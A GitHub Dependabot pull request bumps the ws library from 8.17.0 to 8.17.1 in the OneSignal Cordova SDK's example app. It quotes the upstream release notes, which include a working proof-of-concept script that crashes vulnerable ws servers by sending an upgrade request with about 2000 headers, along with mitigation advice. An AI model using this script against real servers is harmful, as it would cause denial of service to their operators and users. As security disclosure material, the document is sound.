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OneSignal / OneSignal-Cordova-SDK

OneSignal is a free push notification service for mobile apps. This plugin makes it easy to integrate your Ionic, PhoneGap CLI, PhoneGap Build, Cordova, or Sencha Touch app with OneSignal. Supports Android, iOS, and Amazon's Fire OS platforms. https://onesignal.com
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Bump ws from 8.17.0 to 8.17.1 in /example/IonicCapOneSignal #1002

Open dependabot[bot] opened 5 months ago

dependabot[bot] commented 5 months ago

Bumps ws from 8.17.0 to 8.17.1.

Release notes

Sourced from ws's releases.

8.17.1

Bug fixes

  • Fixed a DoS vulnerability (#2231).

A request with a number of headers exceeding the[server.maxHeadersCount][] threshold could be used to crash a ws server.

const http = require('http');
const WebSocket = require('ws');

const wss = new WebSocket.Server({ port: 0 }, function () {
const chars = "!#$%&'*+-.0123456789abcdefghijklmnopqrstuvwxyz^_`|~".split('');
const headers = {};
let count = 0;


for (let i = 0; i < chars.length; i++) {
if (count === 2000) break;


for (let j = 0; j &lt; chars.length; j++) {
  const key = chars[i] + chars[j];
  headers[key] = 'x';

  if (++count === 2000) break;
}



}


headers.Connection = 'Upgrade';
headers.Upgrade = 'websocket';
headers['Sec-WebSocket-Key'] = 'dGhlIHNhbXBsZSBub25jZQ==';
headers['Sec-WebSocket-Version'] = '13';


const request = http.request({
headers: headers,
host: '127.0.0.1',
port: wss.address().port
});


request.end();
});

The vulnerability was reported by Ryan LaPointe in websockets/ws#2230.

In vulnerable versions of ws, the issue can be mitigated in the following ways:

  1. Reduce the maximum allowed length of the request headers using the [--max-http-header-size=size][] and/or the [maxHeaderSize][] options so that no more headers than the server.maxHeadersCount limit can be sent.

... (truncated)

Commits
  • 3c56601 [dist] 8.17.1
  • e55e510 [security] Fix crash when the Upgrade header cannot be read (#2231)
  • 6a00029 [test] Increase code coverage
  • ddfe4a8 [perf] Reduce the amount of crypto.randomFillSync() calls
  • See full diff in compare view


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